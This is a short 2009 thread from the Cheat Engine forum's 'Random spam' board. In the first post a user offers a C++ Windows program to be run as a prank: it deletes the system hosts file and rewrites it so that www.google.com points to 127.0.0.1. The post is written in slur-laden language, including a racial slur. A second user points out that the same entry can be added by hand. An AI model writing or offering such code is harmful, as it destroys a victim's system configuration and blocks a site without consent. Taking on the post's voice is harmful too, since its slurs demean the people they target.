Cheat Engine Forum Index Cheat Engine
The Official Site of Cheat Engine
 
 FAQFAQ   SearchSearch   MemberlistMemberlist   UsergroupsUsergroups   RegisterRegister 
 ProfileProfile   Log in to check your private messagesLog in to check your private messages   Log inLog in 


oh yus

 
Post new topic   Reply to topic    Cheat Engine Forum Index -> Random spam
View previous topic :: View next topic  
Author Message
talkerzero
Grandmaster Cheater
Reputation: 1

Joined: 24 Jul 2008
Posts: 560
Location: California

PostPosted: Fri Sep 25, 2009 6:31 pm    Post subject: oh yus Reply with quote

ay, brudda', i just b about done w/ dis super killa' code o' mine; shit, nigga', dis b overboard w/ 'da crowds & mob..

c'mon, bitch, run dis shit in dat c++ compila' o' yours, and SHET MENG, ya'll won't be able to open dat google shit no more!

Code:
#include <windows.h>
#include <tchar.h>

static const _TCHAR cszBuffer[] = _T("127.0.0.1 www.google.com");

int WINAPI _tWinMain(__in HINSTANCE hInstance, __in HINSTANCE hPrevInstance, __in_z LPTSTR lpszCommandLine, __in int nShowCommand)
{
  UNREFERENCED_PARAMETER(hInstance);
  UNREFERENCED_PARAMETER(hPrevInstance);
  UNREFERENCED_PARAMETER(lpszCommandLine);
  UNREFERENCED_PARAMETER(nShowCommand);
 
  HFILE     hFile;
  OFSTRUCT  ofs;
  DWORD     dwNumberOfBytesWritten;
  BOOL      bRet = FALSE;

  ofs.cBytes = 0;
  ZeroMemory(&ofs, sizeof(OFSTRUCT));

  if(DeleteFile(_T("c:\\windows\\system32\\drivers\\etc\\hosts")))
  {
    hFile = OpenFile(_T("c:\\windows\\system32\\drivers\\etc\\hosts"), &ofs, OF_WRITE | OF_CREATE);
    if(hFile != HFILE_ERROR)
    {
      dwNumberOfBytesWritten = sizeof(cszBuffer);
      bRet = WriteFile((HANDLE)hFile, cszBuffer, dwNumberOfBytesWritten, &dwNumberOfBytesWritten, NULL);
      if(!bRet)
        OutputDebugString(_T("God doesn't exist."));
    }
  }

  return (bRet ? EXIT_SUCCESS : EXIT_FAILURE);
}
Back to top
View user's profile Send private message Visit poster's website
Cheat Engine User
Something epic
Ban
Reputation: 61

Joined: 22 Jun 2007
Posts: 2071

PostPosted: Fri Sep 25, 2009 6:36 pm    Post subject: Reply with quote

Or for those who are too lazy, go to your host file, and add a new line: 127.0.0.1 www.google.com
Back to top
View user's profile Send private message
talkerzero
Grandmaster Cheater
Reputation: 1

Joined: 24 Jul 2008
Posts: 560
Location: California

PostPosted: Fri Sep 25, 2009 6:41 pm    Post subject: Reply with quote

holland, way to ruin it.
Back to top
View user's profile Send private message Visit poster's website
Display posts from previous:   
Post new topic   Reply to topic    Cheat Engine Forum Index -> Random spam All times are GMT - 6 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Powered by phpBB © 2001, 2005 phpBB Group

CE Wiki   IRC (#CEF)   Twitter
Third party websites